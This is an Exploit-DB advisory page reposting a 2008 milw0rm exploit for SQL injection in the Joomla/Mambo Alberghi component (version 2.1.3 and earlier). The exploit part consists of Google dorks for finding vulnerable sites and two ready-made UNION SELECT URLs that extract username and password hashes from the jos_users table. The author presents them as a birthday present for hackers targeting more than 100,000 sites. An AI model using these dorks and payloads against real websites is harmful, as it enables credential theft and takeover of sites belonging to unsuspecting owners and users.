Joomla Component Alberghi <= 2.1.3 id SQL Injection Vulnerability

2008-03-19T00:00:00
ID EDB-ID:5278
Type exploitdb
Reporter S@BUN
Modified 2008-03-19T00:00:00

Description

Joomla Component Alberghi <= 2.1.3 (id) SQL Injection Vulnerability. CVE-2008-1459. Webapps exploit for php platform

                                        
                                            ##########################################
#
# Mambo Component com_alberghi SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
TODAY MY BÄ°RTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOÄ°TS HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY

100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR

you can see all my exploits

http://my.opera.com/SQL-Injection/blog/

###########################################
#
# DORK 1 : allinurl: "com_alberghi" detail
#
# DORK 2 : allinurl: "com_alberghi"
#
###########################################
EXPLOIT 1 :

index.php?option=com_alberghi&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,concat(username,0x3a,password)/**/from/**/jos_users/*

EXPLOIT 2 :

index.php?option=com_alberghi&task=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,concat(username,0x3a,password)/**/from/**/jos_users/*

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

side note:
	&lt;name&gt;Alberghi&lt;/name&gt;
	&lt;author&gt;Vamba&lt;/author&gt;
	&lt;creationDate&gt;14-04-2007&lt;/creationDate&gt;
	&lt;copyright&gt;This component is released under the GNU/GPL License&lt;/copyright&gt;
	&lt;license&gt;http://www.gnu.org/copyleft/gpl.html GNU/GPL&lt;/license&gt;

	&lt;authorEmail&gt;webmaster@joomlaitalia.com&lt;/authorEmail&gt;
	&lt;authorUrl&gt;www.joomlaitalia.com&lt;/authorUrl&gt;
	&lt;version&gt;2.1.3&lt;/version&gt;
	&lt;description&gt;Alberghi a fork of Accombo project original Author Niall McCullagh&lt;/description&gt;

# milw0rm.com [2008-03-19]